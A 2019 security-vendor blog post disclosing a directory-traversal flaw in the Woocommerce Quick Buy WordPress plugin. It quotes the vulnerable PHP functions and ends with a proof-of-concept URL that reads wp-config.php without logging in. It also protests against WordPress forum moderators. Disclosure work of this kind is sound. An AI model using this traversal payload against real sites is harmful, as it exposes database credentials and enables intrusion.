17 Sep 2019

Our Proactive Monitoring Accidentally Found an Arbitrary File Viewing Vulnerability Being Introduced in to a WordPress Plugin with 10,000+ Installs

Recently an arbitrary file viewing vulnerability was found in a WordPress plugin with 100,000+ installs and shortly after that it looks to be have been widespread exploit attempts. While those using our service were warned the same day it was fixed, so they could take action before it was exploited, people relying on the Wordfence Security plugin or the related paid service Wordfence Premium got hacked. Today while working on our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities we accidentally ran across the same kind of vulnerability being introduced in to the plugin Woocommerce Quick Buy, which has 10,000+ installs.

While trying to figure out how other code in the file /vendor/varunsridharan/vsp-framework/includes/class-ajax.php, which had been flagged by the automated portion of that proactive monitoring, would run, we looked to see if we could find how the function download_log() in that file would run.

In doing that we found this line in another file in the plugin:

47
$href = wp_nonce_url( admin_url( 'admin-ajax.php?action=vsp_download_log&handle=' . $file ), 'download_log' );

So it looked that function would be accessed by visiting a URL like this:

/wp-admin/admin-ajax.php?action=vsp_download_log&handle=[file name]

When generated by the code above there should be a nonce included, which if checked would prevent cross-site request forgery (CSRF).

The code in the download_log() function doesn’t check for that though:

51
52
53
54
55
56
57
58
public function download_log() {
	if ( isset( $_REQUEST['handle'] ) && ! empty( $_REQUEST['handle'] ) ) {
		Modules\System_Logs::download_log( $_REQUEST['handle'] );
	} else {
		$this->error( __( 'Log File Not Found' ) );
	}
	wp_die();
}

That function in turns calls another function of the same name in the file /vendor/varunsridharan/vsp-framework/includes/modules/class-system-logs.php:

111
112
113
114
115
116
117
118
119
120
121
122
public static function download_log( $file ) {
	header( 'Cache-Control: private' );
	header( 'Content-Type: application/stream' );
	if ( file_exists( VSP_LOG_DIR . $file ) ) {
		$size = filesize( VSP_LOG_DIR . $file );
		header( "Content-Disposition: attachment; filename=$file" );
		header( 'Content-Length: ' . $size );
		readfile( VSP_LOG_DIR . $file );
	} else {
		echo 'File Not Found';
	}
}

That would seem to allow viewing the contents of arbitrary files due to a lack of restriction on directory traversal. As the proof concept below shows, that even occurs even if not logged in to WordPress.

The plugin’s code seems over complicated, which seems like could have helped to create the security issue here, as we couldn’t quickly figure out what code runs before the code shown, but missing somewhere along in the process are security restrictions to limit what WordPress users can access that functionality, prevent cross-site request forgery (CSRF), and restrict directory traversal from being possible, to prevent files from outside the intended directory to be viewed.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will show the contents of the WordPress configuration file.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=vsp_download_log&handle=../../../wp-config.php

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.